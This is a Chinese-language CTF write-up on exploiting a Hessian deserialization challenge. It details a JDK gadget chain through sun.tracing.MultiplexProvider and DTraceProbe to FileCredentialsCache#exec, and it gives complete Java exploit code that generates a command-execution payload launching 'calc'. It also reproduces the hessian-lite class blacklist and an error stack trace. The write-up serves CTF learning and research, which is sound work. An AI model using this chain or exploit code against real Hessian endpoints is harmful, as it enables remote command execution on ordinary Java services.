前言 就差这一道题就进线下了啊,还是可惜了,看了一两天还是寄了。哈gemini一直幻觉我也没招了。
这道Hessian反序列化确实还是有很多值得学习的地方,所以赛后也是速通了一下。
分析 版本为hessian-lite 4.0.5,最新版,之前本来有一个议题思路是hessian的新gadget,但是此处最新版就把它修复了,黑名单里也能看到。
反序列化接口非常简单粗暴,没什么好说的,直接看怎么挖掘吧。
回到题目本身,给出了一个CustomeProxy,里面实现了一个compareTo方法可以触发invoke方法,那么我们的思路肯定要用到这个自定义Proxy作为一部分跳板。
这里很容易想到RCTF2025那个maybe_easy的题目:2025 RCTF SU WriteUp - ,这里可以入口必定是用TreeMap来触发compareTo方法,但是注意需要传入一个InvocationHandler或者它的继承。这里写几个查询倒是能查到好多个满足条件的,但是大多数也都过不了黑名单。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 bsh. ch.qos.logback.core.db. clojure. com.alibaba.citrus.springext.support.parser. com.alibaba.citrus.springext.util.SpringExtUtil. com.alibaba.druid.pool. com.alibaba.hotcode.internal.org.apache.commons.collections.functors. com.alipay.custrelation.service.model.redress. com.alipay.oceanbase.obproxy.druid.pool. com.caucho.config.types. com.caucho.hessian.test. com.caucho.naming. com.ibm.jtc.jax.xml.bind.v2.runtime.unmarshaller. com.ibm.xltxe.rnm1.xtq.bcel.util. com.mchange.v2.c3p0. com.mysql.jdbc.util. com.rometools.rome.feed. com.sun.corba.se.impl. com.sun.corba.se.spi.orbutil. com.sun.jndi.rmi. com.sun.jndi.toolkit. com.sun.org.apache.bcel.internal. com.sun.org.apache.xalan.internal. com.sun.rowset. com.sun.xml.internal.bind.v2. com.taobao.vipserver.commons.collections.functors. groovy.lang. java.awt. java.beans. java.lang.ProcessBuilder java.lang.Runtime java.rmi.server. java.security. java.util.ServiceLoader java.util.StringTokenizer javassist.bytecode.annotation. javassist.tools.web.Viewer javassist.util.proxy. javax.imageio. javax.imageio.spi. javax.management. javax.media.jai.remote. javax.naming. javax.script. javax.sound.sampled. javax.swing. javax.xml.transform. net.bytebuddy.dynamic.loading. oracle.jdbc.connector. oracle.jdbc.pool. org.apache.aries.transaction.jms. org.apache.bcel.util. org.apache.carbondata.core.scan.expression. org.apache.commons.beanutils. org.apache.commons.codec.binary. org.apache.commons.collections.functors. org.apache.commons.collections4.functors. org.apache.commons.codec. org.apache.commons.configuration. org.apache.commons.configuration2. org.apache.commons.dbcp.datasources. org.apache.commons.dbcp2.datasources. org.apache.commons.fileupload.disk. org.apache.ibatis.executor.loader. org.apache.ibatis.javassist.bytecode. org.apache.ibatis.javassist.tools. org.apache.ibatis.javassist.util. org.apache.ignite.cache. org.apache.log.output.db. org.apache.log4j.receivers.db. org.apache.myfaces.view.facelets.el. org.apache.openjpa.ee. org.apache.openjpa.ee. org.apache.shiro. org.apache.tomcat.dbcp. org.apache.velocity.runtime. org.apache.velocity. org.apache.wicket.util. org.apache.xalan.xsltc.trax. org.apache.xbean.naming.context. org.apache.xpath. org.apache.zookeeper. org.aspectj. org.codehaus.groovy.runtime. org.datanucleus.store.rdbms.datasource.dbcp.datasources. org.dom4j. org.eclipse.jetty.util.log. org.geotools.filter. org.h2.value. org.hibernate.tuple.component. org.hibernate.type. org.jboss.ejb3. org.jboss.proxy.ejb. org.jboss.resteasy.plugins.server.resourcefactory. org.jboss.weld.interceptor.builder. org.junit. org.mockito.internal.creation.cglib. org.mortbay.log. org.mockito. org.thymeleaf. org.quartz. org.springframework.aop.aspectj. org.springframework.beans.BeanWrapperImpl$BeanPropertyHandler org.springframework.beans.factory. org.springframework.expression.spel. org.springframework.jndi. org.springframework.orm. org.springframework.transaction. org.yaml.snakeyaml.tokens. ognl. pstore.shaded.org.apache.commons.collections. sun.print. sun.rmi.server. sun.rmi.transport. weblogic.ejb20.internal. weblogic.jms.common.
这里提一句2025blackhat-jdd hessian反序列化这条gadget吧:
从2025blackhat-jdd hessian反序列化jdk原生新链开始学习链子构造
具体可以直接去搜这些,分析的文章也很多了。
但是此处com.sun.corba.se.impl.activation显然被ban了,正赛的时候搞了两天都没搞出来,差点还以为能用MethodInvokeTypeProvider调用任意无参方法了,但其实是幻觉。。。AI看来也暂时还没那么王朝(
最后也是只有pj和AAA打出来这道,这里给出AAA挖掘的gadget。
1 2 3 4 5 6 7 Hessian2Input#readObject -> TreeMap -> CustomProxy#compareTo() -> MultiplexProvider#invoke() -> DTraceProbe#uncheckedTrigger() -> Method#invoke() -> FileCredentialsCache#exec()
这其实是老链,因为Hessian和Xstream有很多类似的地方,所以有可能gadget能互通。
这里用到了一个至关重要的sun.tracing.ProviderSkeleton,它他是一个abstract,一共四个实现类:
此处sun.tracing.PrintStreamProvider,sun.tracing.NullProvider,sun.tracing.MultiplexProvider经本地测试均可用,三选一即可。
最重要是它不在黑名单里,并且能帮我们搭建起反序列化链的桥梁,我们来跟一下:
从TreeMap触发到compareTo:
赋值m3方法为java.io.File.compareTo(java.io.File),满足触发invoke函数的条件:
继续跟进触发到sun.tracing.ProviderSkeleton#triggerProbe(),注意这个sun.tracing.ProviderSkeleton完美继承了InvocationHandler并且没被黑名单掉:
接着调用到uncheckedTrigger方法,触发到下一个invoke方法:
接着继续触发到Method#invoke等,几乎全是invoke方法:
sink点找的是sun.security.krb5.internal.ccache.FileCredentialsCache#exec,其实此时已经可以调用任意方法了,只是需要一个没被黑名单ban掉的sink,当时正赛的时候我找jndi基本没找到,除非是tomcat-core里有的JNDI注入点这种。
但这个sink打windows环境没有任何问题,打linux环境复现的时候就没办法跑通,有点玄学。。。
继续跟进可以看到能到达它的Runtime.getRuntime().exec():
最后也是直接弹出calc,反序列化完成:
调用栈如下:
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 package exp.eddiemurphy;import com.alibaba.com.caucho.hessian.io.Hessian2Input;import com.alibaba.com.caucho.hessian.io.Hessian2Output;import org.example.labyrinth.model.CustomProxy;import sun.security.krb5.internal.ccache.FileCredentialsCache;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Method;import java.nio.charset.StandardCharsets;import java.util.Base64;import java.util.HashMap;import java.util.TreeMap;public class Exp { public static void main (String[] args) throws Exception { InvocationHandler invocationHandler = (InvocationHandler) createWithoutConstructor(Class.forName("sun.tracing.MultiplexProvider" )); setFieldValue(invocationHandler, "probes" , new HashMap <>()); setFieldValue(invocationHandler, "active" , true ); setFieldValue(invocationHandler, "providerType" , File.class); HashMap<Method, Object> probes = new HashMap <>(); Object o2 = FileCredentialsCache.acquireInstance(); Method m2 = FileCredentialsCache.class.getDeclaredMethod("exec" , String.class); m2.setAccessible(true ); String evilCmd = "calc" ; Object dtProbe = getDTraceprobe(o2, m2); Method methodRef = File.class.getMethod("compareTo" , File.class); probes.put(methodRef, dtProbe); setFieldValue(invocationHandler, "probes" , probes); Object objCompareTo = new CustomProxy (invocationHandler, methodRef); TreeMap treeMap = triggerTreeMap(objCompareTo, evilCmd); byte [] payload = hessianSerialize(treeMap); System.out.println("Payload generated. Size: " + payload.length); String filename = "payload.bin" ; try (FileOutputStream fos = new FileOutputStream (filename)) { fos.write(payload); } System.out.println("Payload written to " + filename); hessianDeserialize(payload); } public static TreeMap<Object,Object> triggerTreeMap (Object eq1, Object eq2) throws Exception { TreeMap<Object,Object> treeMap = new TreeMap <>(); setFieldValue(treeMap, "size" , 2 ); Class<?> entryC = Class.forName("java.util.TreeMap$Entry" ); Constructor<?> cons = entryC.getDeclaredConstructor(Object.class, Object.class, entryC); cons.setAccessible(true ); Object root = cons.newInstance(eq1, eq1, null ); Object left = cons.newInstance(eq2, eq2, root); Object right = cons.newInstance(eq2, eq2, root); setFieldValue(root, "left" , left); setFieldValue(root, "right" , right); setFieldValue(treeMap, "root" , root); return treeMap; } private static Object getDTraceprobe (Object o2, Method m2) throws Exception { Object dtProbe = createWithoutConstructor(Class.forName("sun.tracing.dtrace.DTraceProbe" )); setFieldValue(dtProbe, "proxy" , o2); setFieldValue(dtProbe, "declared_method" , m2); setFieldValue(dtProbe, "implementing_method" , m2); Class<?>[] paramTypes = m2.getParameterTypes(); setFieldValue(dtProbe, "parameters" , paramTypes); return dtProbe; } }
后记 打windows服务下弹calc和dnslog均可,但是linux打不通有点抽象。。。
总是报错在Proxy这里就似了,报空指针错误:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 java.lang.NullPointerException at org.example.labyrinth.model.CustomProxy.compareTo(CustomProxy.java:31 ) at java.util.TreeMap.put(TreeMap.java:568 ) at com.alibaba.com.caucho.hessian.io.MapDeserializer.doReadMap(MapDeserializer.java:143 ) at com.alibaba.com.caucho.hessian.io.MapDeserializer.readMap(MapDeserializer.java:124 ) at com.alibaba.com.caucho.hessian.io.MapDeserializer.readMap(MapDeserializer.java:96 ) at com.alibaba.com.caucho.hessian.io.SerializerFactory.readMap(SerializerFactory.java:621 ) at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2851 ) at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2419 ) at org.example.labyrinth.controller.ChallengeController.hessianDeserialize(ChallengeController.java:22 ) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62 ) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43 ) at java.lang.reflect.Method.invoke(Method.java:498 ) at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:205 ) at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:150 ) at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:117 ) at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:895 ) at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:808 ) at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87 ) at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1072 ) at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:965 )
据说AAA赛后用snakeyaml打的load jar,EL没成功过,难绷。
如果有思路再尝试尝试吧,反正都能调用任意方法了,找个好使的sink应该没啥问题。
有点可惜吧,这道要是做出来了咱就能去线下了wwwww
参考:
HKCertCTF 2025 labyrinth | unknown’s Blog
java动态代理触发触发命令执行 - unam4
Hessian 反序列化知一二 | 素十八
从2025blackhat-jdd hessian反序列化jdk原生新链开始学习链子构造
从2025blackhat-jdd hessian反序列化jdk原生新链开始学习链子构造-先知社区
blackhat-JDD-hessian反序列化jdk_fastjson链